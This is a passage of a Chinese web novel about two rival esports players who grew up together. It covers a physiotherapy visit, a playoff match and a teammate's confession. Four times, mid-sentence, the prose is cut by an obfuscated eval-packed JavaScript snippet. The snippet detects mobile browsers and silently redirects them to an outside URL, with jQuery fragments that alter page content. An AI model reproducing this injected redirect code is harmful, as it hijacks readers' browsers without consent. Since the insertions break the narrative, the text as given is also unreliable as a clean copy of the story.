冰块闭嘴了,但闭了三秒钟,又忍不住:“不是,你让我说完呗,我就问你我让你跟簌簌姐说‘我保证保密’你到底说了没。” 周叙临听不得“簌簌姐”三个字:“忘了。” “忘了?”冰块气得从床上跳起来,“那你去那么久干什么了?” 周叙临垂眼想了想,笑一下:“你猜。” 然后拿衣服去了浴室。 听见水声哗哗,冰块这下冷静了。 他抱臂坐在床上,眼神沉下来,不复平时的清澈。 * 停车场不是什么很隐蔽的地方,那天程知簌与周叙临的见面依旧被闲得蛋疼的不知道谁传播了出去。 不过正值比赛期,大家讨论几句,又将注意力放在了自家心肝肝上。 只是周叙临直播里说的那句“不熟”终究是站不住脚了,引得各路串子拿着在各大直播间乱逛。 ——周叙临失误没补到兵 【降临和英雄不太熟啊】 ——程知簌和队友没配合好 【这波凛冬不该不熟的】 成为乐子也好过被打成筛子,反正问起来就是“啊这样吗”“我不知道诶”,将装傻充愣演绎到了极致。 …… 单败淘汰制终于过去,第二轮的West以4:2的成绩顺利晋级八强。 往常的挑杯West都因春夏季赛成绩不佳积分不足而无缘参赛,此次无论他们能走到哪里,都已经是突破队史的成绩。 教练说这样的话是安慰,但大家心里清楚,任何一位职业选手的目标莫不是冠军。 午饭后,程知簌走出基地,往地铁口去。 这段时间的训练拉满,饶是程知簌才19岁也不太能吃得消,所以她预约了今天的理疗。 喻霓临时有事不能陪她,她也谢绝了其他几位运营的帮忙。 开玩笑,虽然她很少一个人出门,但东南西北还是分得清的,更何况现在的网络那么发达。 但她显然低估了北京城错综复杂的线路网。 她站在交叉路口和指示牌面面相觑,又因为地下信号实在欠佳,她握着手机三百六十度都转了个遍,都没找到自己要坐的那条线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512311|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸亏出门的时候戴了口罩,大部分路人都没注意到她尴尬的表情。 但周叙临显然是不属于这“大部分人”中的。 他将还淌着雨水的伞收好,随便往外看了一眼,精准在人群中锁定了程知簌。 程知簌心想自己戴了口罩他未必能认出来,又逢中午人流最密集的时候,他走过来肯定不是因为…… ……结果周叙临还真在她面前站定。 “跟踪我?”他皱眉,说话总是那么惊世骇俗。 “你……”程知簌顿时哑口,很快又四处张望怕谁又助力他们上热搜,动作莫名多了些鬼祟样。 “我要去……那里!”她随手指了个地方,“谁跟踪你了。” 她话音刚落,周叙临手机传来“请换乘六号线,跟随站内蓝色换乘指引前往……” 正是她随手指的那条线。 这运气为什么不能用到比赛上! 等程知簌上了车,她还在心里咀嚼着这句话。 纠结无果,她又将矛头对准周叙临:“到底是谁跟着谁,我坐六号线你也坐?” 北京各位数字的地铁线路常年是飙红的状态,此时他俩能顺利挤进来已经是很幸运的事情了。 座位是奢侈,两人只能挨着彼此,随着摇摇晃晃的车前进。 自己说话的时候没太注意,等周叙临开口,闷闷的振动透过春季单薄的衣物抚上程知簌的后背,引起周身涟漪。 “你知不知道你的表情很像一个词?” “什么?” “贼喊捉贼。” “你!”如果不是在地铁上,程知簌真想挑起来锤爆这家伙的狗头。 周叙临乐见程知簌跳脚的样子,不过经历上次事件后,他又掌握了点到为止外加收放自如的手段。 “我们基地刚好是下一站。” 周叙临话落,自动门正好打开。 “那你滚吧。”虽然刻意放低了音量,但程知簌一点也不客气。 周叙临的脚步挪动一下,用肉身给程知簌圈出更大的活动范围。 “本来是想走的,这不怕你又迷路吗?” ……事实证明,周叙临的话并非空穴来风。 下了地铁,程知簌拿着手机cos地球自转。 又正值雨季,如果不是周叙临在他身后撑着伞,她非得淋成落汤鸡不可。 护国寺中医医院的特色是中医理疗,常驻南方的程知簌也慕名前来。 医院走廊熙熙攘攘,伴随着偶尔几声小孩的尖叫,让程知簌不免有点想打退堂鼓。 消毒水味混合着空调的冷气争先恐后地钻进她的鼻腔,好似谁落后就要被削一样。 她刚有停止的想法,周叙临就一个预判,伸手将她捞过来, 两人一时离得很近,交缠在一起的不止消毒水味与空气,还有它们的呼吸。 “想干嘛?”程知簌迅速拉开距离,一副不想和他有那么多交集的样子。 周叙临没在意,指了指旁边火急火燎的一大家子人:“不拉你一把,你这小身板还想和人家玩碰碰车?” 未了,他眯眯眼,活像一个看透一切的世外高人。 “倒是我想问你,那么激动干什么?” 14. 偶遇 “谁怕了!”程知簌想也不想道。 后知后觉周叙临问的是什么,她想钻进地里的心思都有。 周叙临垂眼看她:“不就是和YUI打吗?至于那么紧张?” YUI是春季赛的四强,五冠队伍,也是West下一局遇到的对手。 “站着说话不腰疼。”程知簌丢给他这句话。 …… 因常年久坐训练,程知簌的肩颈有明显的酸痛感,顺着脊椎往下,到后背肩胛骨处转变成了轻微刺痛。 循序渐进深|入骨髓的痛远比直接的疼更磨人。 但这也是职业选手的通病。 “……手不要翘起来,学我的动作和我做对抗。” 程知簌按照医生的指示做,起初还没觉得有什么,只是左耳往左肩膀倒的时候有很明显的僵硬感。 比较难捱的是电疗。 医生在她右手腕处贴上电极片,微弱的电流规律刺|激肌肉,让僵硬的手腕不由自主地轻微抽|动,被动放松深层肌肉,缓解长期神经紧张与压迫带来的酸痛与僵硬感。 程知簌躺在床上,脑海里闪过这段时间训练赛的操作画面。 听见医生让她放松后,她才发现自己的右手攥成了拳。 “很难受?”医生为她揉肩。 程知簌说没有,只是很不习惯。 这是她第一次进行电疗,说不紧张是不可能的。 右手的存在感比任何时候都强,细微的电流顺着腕部上流,就像小虫子一点点蚕食她的血液。 白细胞拼命抵抗,却依旧只是成为盘中餐的结局。 “咔嚓”,医生拖着程知簌的肩背,双手一前一后用力压,骨头传出清脆的响声。 不知道为什么,她有种骨头错位的恐慌感,下意识大喊一声。 周叙临本靠在门口的墙上闭目休息。 听见里面的“惨叫”,他一个健步开门冲进来,与背对着门口躺在床上在床上仰着头的程知簌大眼瞪小眼。 还有医生。 “不、不好意思,我听见声音……” 医生早就对这种事见怪不怪,抬头示意凳子在门后:“坐在里面等吧。” “不用了我在外面就好。”话是这么说,但看周叙临的样子也没有挪动脚步的意思。 “没事没事小伙子,你们现在的小年轻黏在一起很正常,不用不好意思。” 医生点头微笑,一副通情达理的样子。 程知簌连忙解释:“我们不是——啊疼!” 医生趁她不注意,用力按了一下肩,骨头之间摩|擦的声音在她脑腔中炸开。 但因为她的注意力不在这里,所以直到这一秒钟过去,她才反应过来。 医生满意点点头,拍拍程知簌的肩。 “这小伙子进来得及时啊,给她放松放松。” 程知簌恹恹地躺在床上,活像刚打完一场bo7,还是把把20分钟起步到巅峰对决的那种。 他们搞电竞的就是中看不中用的鸡蛋壳,表面硬邦邦的,一敲碎就会稀里哗啦滩成一地。 周叙临伸出手在程知簌面前晃了两下,她脑子里还在想:医生原来你是在声东击西啊。 …… 等理疗结束已经是下午四点,程知簌重新带好口罩,出门的时候周叙临很自然地伸出手。 她犹豫片刻的功夫,周叙临已经接过她的包。 “你抢我东西干什么?”她攥着挎包带子,死活不愿意放手。 这话一出,周围人看他们的眼神都不对劲了。 周叙临一脸无语:“你刚做完理疗,我帮你拿着。” “哦……”程知簌讪讪地松了手,“就一个包而已,不至于。” 周叙临想扒开这人的脑子看看里面装了什么:“那就是我想帮你拿——好了好了不说了我们走了。” …… “你们战队不用训练吗?”程知簌问。 周叙临极尽“地主之谊”,打车先将她送回基地。 到了别墅区门口,他又以黑灯瞎火女生走夜路不安全为由,硬要再送她一段路。 程知簌看着比她脸还大的太阳,一阵无语,却也没再说什么,默许她跟着她一起进来。 黄昏时候的阳光很刺眼,抬头望去的时候又虚化成像素点,但烤人的功夫是一流的。 周叙临贴心地撑伞想帮程知簌挡,打开才发现他带的是透明伞。 国人讲究谋事在人成事在天,但是天从来不给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514823|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好脸色,怎么谋都没用。 天公不作美,他说的话也烫嘴:“你别、别紧张就是了。” 程知簌有些费解:“虽然我很讨厌这个快把我身体水分蒸干的太阳光,但我们都带了口罩,总不至于把你的嘴也给烙了,话都说不利索吧。” 周叙临愣了愣,没像平时一样急着反驳。 “没有,我就想说你不用太担心,YUI这一次有两个新人,磨合度不会很高。” “可是我也是新人,West不也进八强了?” “那不一样。”周叙临想也不想反驳,“你很强。” “对面也很强,去年几乎无休。” 虽然话是这么说,但程知簌也不是反驳型人格。 她心里清楚自己和队友有几斤几两,不然也不会因为即将到来的比赛惴惴不安。 “人是会累的。”周叙临说,“比赛打得多了,每个人的毛病就会因为这一场场比赛浮现出来,其他战队为了打败他们也会不断研究选手和战术。” 提到比赛,他就开始滔滔不绝。 风卷起来,将他的声音拉得很长很长,一度透过程知簌的耳膜缠在脑腔。 她听见自己说:“那你呢,你累吗?” 语毕她才意识到自己说了什么。 周叙临刚要回答,她又急急忙忙伸手堵住他的嘴。 她的手软,他的唇更软,还有一种润润的触感。 程知簌慌忙彻开手,觉得自己的脸一定被天空的火烧云传染了,无法再面对周叙临,转身就跑。 未了,她又恶狠狠留下一句:“记住自己的身份,别乱说。” 回去的时候还带起一地落叶,在这个并不是秋天金叶纷纷扬扬的季节。 …… 赛前一晚,程知簌做了一个梦。 梦里她一下变成小乔一下变成西施又成甄姬,在中路捡垃圾吃的时候还被不知道从哪里窜出来的邪魅一笑的孙权一击毙命。 倒下后要闭眼的那段时间,她看着孙权的脸被不明物质捏了好几下,最后变成周叙临的脸。 她后知后觉,这家伙的确也是孙权梦男。 有点惊悚在身上的。 醒来后,她想,远离周叙临是当务之急。 15. 闪现 15 距TwJing搬去广州没多久,北京场馆还是留下了很多与周叙临有关的影子。 横幅、奖杯,还有被定格在荣誉墙上的夺冠时刻。 程知簌觉得有些好笑,明明这些她只在电子产品上见过,怎么就记得这么清晰,就连赛前都会想起? 她摇摇头。 重中之重的,是今天的比赛。 比赛过程与程知簌担忧的有很多相似之处。 虽然与周叙临预料的差不多,YUI还处于磨合期,没有打出属于五冠战队的压制力,但两边也一直打得有来有回。 第五局West阵容不强势频频避战,拖到二十分钟风暴龙王团才绝地反杀团灭YUI超了一分,率先来到赛点。 第六局,YUI改变战术,凭借阵容优势占住中轴给压力,让程知簌没办法游走gank。 又加上他们这边的状态略微低迷,手感不佳,一时也没找出很合适的对策。 耳机里逢春的话很少,多数是他们四人叽叽喳喳他只负责执行,但她就是能从中找出他的声线来。 随之脑海里一闪而过的,还有周叙临前晚和她说过的话—— “YUI喜欢逼团轻带线,遇到团战和兵线双重问题他们会优先选择打团或者偷主宰放暗影先锋,清线都是下下策。” 故此,程知簌当机立下:“晴朗就把线带好,其他你不用管,我们骚扰不动手,别死就行。” 晴朗得令,操控镜各种镜像换位大招锁人,在场上如游龙来去自如。 “其实我们能看见双方经济并没有差太多。”解说海绵道。 “是的,因为晴朗的镜一直在带线牵制,让酷爱喜欢打团的YUI不得不回家协防。” “——镜现在已经偷掉了下路高地,看他的样子是还想偷啊!” “但是YUI这边的双边都包过来了,镜几乎是插翅也难逃啊!” 场上另一边,程知簌的手心已经沁出了细密的汗。 “辅助去接一下,一技能留着。” “收到!”夏深的少思源一个大招甩给镜与敌方双边,又唰唰丢出两个二技能,将对面定在原地。 “可以救到吗?”解说大星捏了一把汗。 相比之下,解说海绵就稳重许多:“可以的可以的,少思源两段一技能飞到镜身边,比对面打野的平a快了一秒,将镜救活了!” “nice!”夏深道,“救命之恩可别忘了啊。” 晴朗在操作之余也不忘发个“爱了爱了”的表情包:“晚上请你喝小甜水!” “老板大气大气!”对抗山楂也道。 “也忘不了你们的。”晴朗说,“等赢下这场比赛,你们什么要求我都答应。” “队长,这可是你说的哦。”程知簌眉眼弯弯,和晴朗互相回程表示友好。 晴朗这话是为了鼓舞士气,但游戏并不会因为一两句话就倾斜胜利的天平。 第一条风暴龙王,West三路高地全掉。 但同样的,晴朗的镜也偷掉了下路二塔,尽管这两者看起来根本没有可比性。 第二条风暴龙王降生,程知簌提前在对面红区一个很多人都会忽略的草丛埋伏,指示山楂当着敌方的面用技能探草。 YUI想当然以为这里没人,射手就这样直勾勾往里走—— “看我位置!”程知簌屏住呼吸,默念在心里演算过无数次的技能操作。 “定住了!”她大喊一声,“快上快上!” 关键一控打破了双方一直以来的僵持局面。 但YUI也不是吃素的,游戏已经进行到23分钟,什么保命技能对面都已经用上了。 在程知簌节节败退之际,逢春的孙权大招往前,犹如天神降临般替她拦住了火力,救下她一命。 程知簌终于明白自己这钟怪异感是因为什么—— 他提高声量的时候,音色几乎与周叙临一模一样: “想碰我家法师?问过我的意见了吗?” 有点恐怖啊。 …… 赛后采访,教练照例推了各拿两个MVP的凛冬和逢春上去。 选手的话筒本来有两个,但上场前程知簌急着去厕所随口叫逢春帮她拿,结果上台后他说忘记了。 程知簌不可能做抢主持人螃蟹话筒的事情,只好就着逢春递过来的动作回答。 他们这个动作投放到大屏,观众区顿时发出好几声怪叫。 程知簌不明就里,和逢春你一句我一句地答着主持人的话。 “评价一下对方今天的表现吧。” 螃蟹的问题很平常,但回答从逢春的嘴里就多了种不一样的味道。 “表现很亮眼,她打控制我输出。” “如果是缩短一些用九个字来形容呢?” 程知簌对上螃蟹的视线,很难不怀疑她夹带私货。 逢春淡淡一笑。 程知簌从没见过他这样的笑容,如冰川遇水消融,如枯木滋润迎春。 他说:“九个字太长,四个字正好。” “是什么呢?” “天作之合。” —— 赛后流程走完已经凌晨。 不过电竞人世界里的白天黑夜向来是颠倒的,他们也不在乎时间晚到什么时候。 在大巴上复盘今天的比赛后,晴朗下车旅行了自己比赛上的承诺。 眼见程知簌睡得沉,他也没问,东西拿上来到地后才给了她一个惊喜。 程知簌握着“正常冰”的柠檬茶,只觉得如果灌下去就是吾命休矣。 “那个……”她有些难为情,毕竟是自家打野肉身提回来的。 “你喝呗,我不渴。” 晴朗往她的方向推一把:“就是给你买的,喝!拿出你在赛场的魄力喝!” 程知簌的嘴角抽了抽,不知道该怎么解释自己下台的时候发现自己来例假了现在肚子疼得要命。 虽然说不应该有月经羞耻,但一车只有她和喻霓两个女生,她确实有点不好意思。 喻霓看出了她的犹豫,顺手接过,招呼她下车。 “那我喝吧,我不减肥。” 晴朗看着喻霓左手提两杯柠檬茶,右手提个装满零食的袋子,后面还背了个包,给她竖了个大拇指。 “牛人。” 喻霓理都不理他,径直往饭店走。 没走两步,一只手伸了出来。 喻霓定睛一看:“唉,你怎么来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517376|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来人是TwJing的打野无花。 程知簌心里隐隐有种预感,往无花身后望去,见到了一身黑的周叙临。 程知簌看他像看怪物:“你是从哪里闪现出来的?” “大乔大招。” 哇,好冷。 …… 一起吃饭就是顺理成章的事情了。 喻霓介绍说无花是她的男朋友,两人正在地下恋。 程知簌很用力地嚼着番茄味的牛肉,只有一种自家白菜被猪拱了的感觉。 一转眼,面前的碗已经堆积成山,周叙临还有继续夹两筷子的趋势。 “你干嘛!”程知簌护住自己的碗,瞪了周叙临一眼。 虽然说在坐的都是自家人,你也没必要这么旁若无人吧! “多吃点牛肉补气血。”周叙临淡淡道。 “我觉得我的气血很足,不用您老操心。” 程知簌这段时间上网刷视频老看见粉丝在提周叙临的时候会用上“降临叔叔”这个梗,看见本尊出现在面前的时候也下意识用了尊称。 周叙临挑了下眉,但总算停止了夹菜的动作。 “足吗?那刚才是谁在车上睡昏过去?” 程知簌将整桌人扫视一眼,琢磨着在场哪位人有通风报信的嫌疑。 检查无果,大家都各说各话各吃各的,没人注意到她。 “你管我!” “好了,不夹了。”周叙临倒也没继续和她争下去,“多吃肉类肚子才不会痛。” 程知簌震惊地看着他,不知道他什么时候去进修了医术。 联想到高一那年他曾站在国旗下立誓说以后要从事救死扶伤的工作,心想确实救死扶伤了,只不过地点不是地球而是王者峡谷。 周叙临看出了她的疑惑:“这还用问?喻霓桌上两杯满冰柠檬茶。” 气得程知簌拿起杯子牛饮一番。 …… 饭过三巡,无花与喻霓两人一前一后打着上厕所的旗号出了门。 程知簌时刻关注身旁两位小情侣的动静,眼见座位空了,便也偷溜出来,干起了狗仔的行当。 人在做亏心事的时候是很容易一惊一乍的。 一只手在程知簌的肩上落下,她一开始还没反应过来,两秒钟后才要张嘴,被后面人捂住嘴往楼梯间躲。 又闻到熟悉的香味,程知簌心下了然,扯掉周叙临的手时还翻了个白眼:“你每次出场能不能别像鬼一样?” 周叙临无辜地摊手:“和我没关系,我来上厕所。” “你上厕所来阳台?” 程知簌懒得和他扯,探头往阳台看去。 “你好像对人家小情侣的事情很感兴趣。”周叙临在后面冷不丁开口。 目前没什么她不能接受的事情,程知簌把头缩回来:“你每天都跟无花在一起,那我问你,无花这个人怎么样?” “你现在那么八卦了?” “是我要非要关注吗?他现在和芋泥谈恋爱,我不得好好打听打听。”程知簌一句话说得飞快,“况且,我们三个可是从小一起长大的,你就算不好意思叫我姐姐,你也是该叫芋泥一声姐姐的,可不得上点心?” “哦。”周叙临垂眼思考,“姐姐。” 16. 约会 16 “咳咳咳!” 程知簌被自己的口水呛住,咳嗽的同时还不忘用震惊的眼神看着周叙临,活像是见了什么怪物。 周叙临不知道从哪掏出一张纸糊她脸上。 “溅到我身上了。”他好心提醒。 “谋杀啊……”程知簌面部顶着柔韧度有点强的纸巾,说话的声音微弱。 她很有理由怀疑这家伙在公报私仇。 “不好意思。”周叙临赶忙道歉,将纸扯下来重新糊她嘴上:“没经验,下次不会了。” 他拍了拍背帮助程知簌顺气。 “话说你为什么会随身带纸啊……” 周叙临挑了挑眉,决定回去奖励奖励在热恋时期的无花。 “没什么,突然想走贴心路线。” 程知簌的嘴角抽搐一下。 有生之年能听见周叙临称自己贴心就跟职业赛场的中单可以单吃一波线一样,有够奇特的。 “贴心?”一道很熟悉的声音在她耳边响起。 程知簌闻声望过去,就见本该站在阳台谈情说爱的两人不知道什么时候已经站到了他们旁边。 看那有样子,还站了有好一会。 她立刻揉揉脸挤出一个笑:“哎呀好巧呀,在这里遇到你们。” “不巧,我们他特意过来把位置让给你的。” 喻霓皮笑肉不笑,指了指阳台的位置:“别怪我提醒你们,你们现在的‘咖位’可有点大,要约会还是有隐蔽点,别被拍了发网上又跟我哭唧唧。” “约……会?” 程知簌一脸惊恐,四处张望一圈没发现有第五个人,才拍拍胸口。 “我俩?” 她指了指自己,又指了指周叙临,一口否决:“怎么可能!” “那你们鬼鬼祟祟在这做什么?” 程知簌脸上挂着心虚,总不能说他们在这是为了监视他俩有没有做什么不恰当的事情吧。 周叙临看戏看了好一会,才幽幽开口。 “我们在说正事。” “正事和贴心有什么关系?” 程知簌心想,这个是过不去了吗? …… 回基地后教练没有再要求集中训练,只是提醒他们将每日任务完成。 作为全队游戏瘾最重的人,程知簌早在比赛前就打完了,没有任何作业压力。 是以,她早早洗漱完毕把自己封印在被窝里,只留出个小孔呼吸。 电竞少女没什么别的爱好,她兴致缺缺地在王者里玩了几把“守卫陈塘关”,不一会又退了出去。 陈塘关是王者最近新出的解压小游戏,简单易上手。 在音符软件刷到好几条今天比赛的切片视频后,程知簌又手痒痒地点进老虎评分,想看看观众对她的评价。 【这场比赛凛冬进入状态进入得很快,开局先给对面两分,状态十分火热】 【让低血糖中单的开创更上一层楼】 前者是第一局,后者是最后一局。 程知簌经常对于粉丝对文豪行为感到惊讶,怪不得现在站在台上的是他们而不是粉丝。 【状态确实进入很快,逢春都动了真情】 【想碰我家法师,问过我的意见了吗!】 【全体起立kswl】 【这也能磕】 【什么临冬、逢冬、冰雪我都收入囊中!】 【前两我知道,最后那个是?】 【冰块×凛冬,迷弟×甜妹】 【嘿嘿嘿】 也不知是从哪一楼开始歪的,这里是战场,能不能不要磕CP! 程知簌一脸严肃地思考与队友避嫌的可能性。 * 睡两个小时醒来已经是四点,程知簌瞪大着个眼看天花板,毫无回笼的睡意,反倒是肚子咕咕叫了两声。 深夜的王者排位总有种催眠的功效,“幸运”的话还能听见队友此起彼伏的呼噜声。 程知簌想,下周还是与TwJing的比赛,作为队伍指挥位,她还是得多给自己加练加练。 没想到那么晚了训练室的灯还亮着,程知簌兴冲冲推开门,却在看见人背影的时候僵住。 那人闻声扭头,她也不好意思再悄悄退回去,只能硬着头皮进来。 “好巧啊,你也来训练。” 毕竟是自家队友,见了面总不能cos最熟悉的陌生人。 “不睡觉?”逢春问,语气稀疏平常。 程知簌愣了片刻,后知后觉地松肩,拉开凳子坐下。 是熟悉的语气就好。 “睡醒了,过来打两局,你也是?” 后面这句话就是随口的客套了。 逢春重新将目光放在屏幕上,说:“我没睡。” 程知簌有些意外。 他们今天虽然没有打到巅峰对决,但也酣战到了第五局,神经紧绷的时间加起来也接近125分钟了。 就算熬夜是常态,也不能撑到现在吧。 “你今天打得很好了,早点休息吧。” “不好。”逢春很快反驳她,“我没保护好你。” 程知簌心想,职业赛场他一个射手有什么好保护的,他不死她就谢天谢地了。 “你想多了。”她说,“不用管我。” “需要的。” 逢春依旧是盯着电脑没看她,就好像话不是说给面前人听的。 他顿了顿,说:“因为我喜欢你。” 程知簌脑子发嗡,像是自己一拳砸在棉花上,棉花反变成铁砸她头上,让她脑门开花。 第三次从逢春口中听到这四个字,她已经没有了最开始的惊慌失措。 如果逃避没办法解决问题,何不直面。 这是她这段时间学会的道理。 程知簌看着逢春。 他脸上没有少年人表白产生的害羞之类的表情,似乎他就是在述说一件稀疏平常的事情。 她心想这一幕应该让夏深来看看,究竟拥有一颗大心脏的人到底是谁。 然后她听见自己问了一句:“为什么?” 逢春想了想,说:“不知道,就是想看着你。” “我们是队友,天天见面。” “但是我希望,你能像看着周叙临一样看着我。” “我看着他的样子?”程知簌不明白,“那是什么样?” 显然逢春比她更搞不懂:“不知道。” 程知簌不知道他到底想要一个怎样的答案,就像她不理解他为什么要三番两次询问。 但总的来说,她可以确认一样:“你不需要我立刻给出答案,对吗?” 其实是可以给的,但比赛在即,逢春拎不清她不能也跟着拎不清。 逢春思考了一下,说:“是。” 又也许是“应该是”。 那程知簌就好办了。 她的目标人让她做不到与自家射手有隔阂,如果逢春的回答是“否”,那她也会给他相同的答案。 毕竟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520382|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更希望能不冒险别冒险。 她的内心是前所未有的平静,不仅仅是因为眼前人是队友,还因为他与周叙临有相似之处。 “我没有和你说过,来到West那天,喻霓和我说过一句话。” 程知簌神色认真:“她说我没有办法习惯这里的生活。” “可是你看。”她的语气转为轻快,“我在这里很好,我们三场无败绩。无论结果如何,我都不希望我们之间的默契出现问题,不希望我们未来想起这件事会后悔,甚至可能会到避嫌的地步。” “这是我的真心话,无关我的任何个人想法。” 程知簌的身体坐得笔直,手随意搭在腿上,拇指往手心收紧,指骨分明。 她在赌,她在紧张。 如果逢春执迷不悟,她也没有任何办法。 逢春终于扭过头看向她。 程知簌看见冰川消融又重聚,周而复始、循环往复。 “可是我两者都想要。” 程知簌闭上眼。 他没有退出游戏界面,手机搁在桌上,外放的背景音丝丝缕缕灌入她的脑海。 在很多时候觉得美妙的音乐现今却成了职业版本的催命符,向她招示自己可能的结局。 逢春顿了顿,说:“我听进去了。” 程知簌的睫毛颤动,睁开眼看着他。 “我的意思是:如果冠军是航行的目的,你就是方向,无论我们之间的身份是队友还是别的什么,这些都不会变。” “所以程知簌。”他说,“你不要再躲着我了。” …… 掏心窝子的话说了一箩筐,程知簌心底那仅剩的一点瞌睡虫也被赶跑。 她去门口拿了汉堡外卖再回的房间,撕开包装将它当成逢春的头恶狠狠地咬了一口。 发泄一会情绪后,她又泄了气,随手将吃了几口的汉堡丢到桌上,嘴巴还在嚼嚼嚼。 这些射手是真讨厌,一个两个都要来挑衅她的职业生涯。 程知簌擦了擦嘴,扯过被子蒙住头,闭眼。 她认为自己的清醒是被气的,但忘了汉堡可是高碳水实物,就算只吃一口也有晕碳的可能性。 再次睁开眼的时候已经来到了早晨的训练室,不知是什么时候更换的护眼灯,照得室内如黄昏。 金色的枫叶从窗外吹进来,像极了金色的雨。 程知簌伸手去抓,抓不到,摊开手不动,反而有一片叶子不偏不倚地落在了她的手心。 她定睛一看,金叶子已经变成了一张写着字的金色彩带: “西行踏浪,志破穹苍” 这是West的战队口号。 身后有人靠近,没有脚步声,程知簌只能靠微弱的呼吸声判断。 “凛冬,航行的目的地到了,你愿不愿意一直成为我的方向,继续下一次旅途。” 好有文化第一句话。 程知簌意识到了什么,但她发现自己浑身僵住。 想张口说话,却发现喉咙像被什么东西堵住了一样,只能发出破碎的气音。 话说不出来就想逃。 她刚有这样的想法,却发现自己像是被钉在了地上,一步也动不了。 逢春走到她面前,朝她露出一个很天真的笑。 “你不说话,那我就当你答应了。” 他想伸手触碰程知簌的肩,却在途中被另一只手拦住。 那人操着一口懒洋洋的声调,尾音微微上扬。 “姐姐。” 17. 梦碎 17 程知簌感觉自己被困在一个透明的茧里。 四面八方都是光,白晃晃的,亮得她几乎睁不开眼。 光线在那人的脸上不停变换,明灭可现。 “姐姐。”他歪着头,又重复了一次:“我也喜欢你啊。” 程知簌其实看不清他的表情。 但她知道他在笑,也知道他是谁。 他们从小一起长大,是最熟悉彼此不过的了。 这个世界真的疯了。 眼前两张脸快速逼近、重叠,像紧紧咬在一起的拼图,将她自以为是的安全区侵占,不留一丝缝隙。 然后“啪嗒”一声,开始下坠。 程知簌意识到,这可能就是幻梦都破碎。 再次睁开眼,入目是一片黑。 她大口大口喘着粗气,花了好一阵功夫适应,随手一摸才发现枕套都湿透了。 真是一个恐怖至极的梦。 程知簌坐在床沿,赤着的脚踩在冰凉的瓷砖上。 但是她毫无察觉,只是愣愣地盯着地板发呆。 光从窗帘缝隙漏进来,在地面切出一道细长的线。 最后,在程知簌脚边的位置停住。 她盯着那条线看了很久,久到眼睛微微发酸,才迟钝地意识到,太阳已经升起来了。 程知簌拖着软绵的腿下床,一把将窗帘拉开。 外头阳光正好,斜斜洒在她的身上。 她眯了眯眼,感受着久违的温暖。 接下来,她打开窗户,听见了楼下的怒声—— “凛冬你在干什么!打了几百个电话都不接,想气死我??!” …… 程知簌就知道,赛前遇见对手不是什么好兆头。 继自己又又又被自家射手表白后,她和周叙临又又又上了热搜。 从房间到训练室,不过10分钟的路程,她的手机震了不下30次。 尽管她也不明白这样频繁的震动为什么没有把睡梦中的她吵醒,让她平白无故挨了顿劈头盖脸的骂。 因为两人再次被拍到同框,前段时间的公关算是白做了,粉丝说什么的都有—— 【不熟哥又和人家说话啦】 【马上就比赛了,交流交流感情又怎!么!了!】 【冷知识,West对TwJing的胜率至今是个未知数】 【那特么是没!打!过!】 【不是哥们,这不明摆着的吗?凛冬和降临就是认识啊!】 说“认识”不太准确。 用程知簌自己的话来说,她和周叙临的关系属于“老天爷瞎了眼非要往一块凑”的那种。 父母之间的好朋友关系让他俩成为青梅竹马,全国大赛海选找来找去还是彼此的打法最为适配,好不容易一个留在国内一个决定出国,兜兜转转,又回到了起点。 程知簌看完前排评论,心想还好无花和喻霓也在,粉丝在直播问起她也好解释。 虽然她承认邀请对手吃饭本就过于明目张胆,但事后经理吴庸也说他只是客套两句,谁知道就这么歪打正着遇见的无花是喻霓的男朋友。 程知簌朝他微微一笑。 “您的客套真害人不浅。” 教练EGG将笔记本裹成一圈轻敲她的头:“没大没小。” “没事,小孩子。”吴庸这话说得善解人意,但下一句就是:“我们不会给你们擦屁|股。” 程知簌立刻化身狗腿子:“别啊,经理,你不帮我们处理,还有谁能像亲人一样照顾我们呢?” “您也不想看到我们这样吧。” “我还没有那么老。” “嘻嘻。” 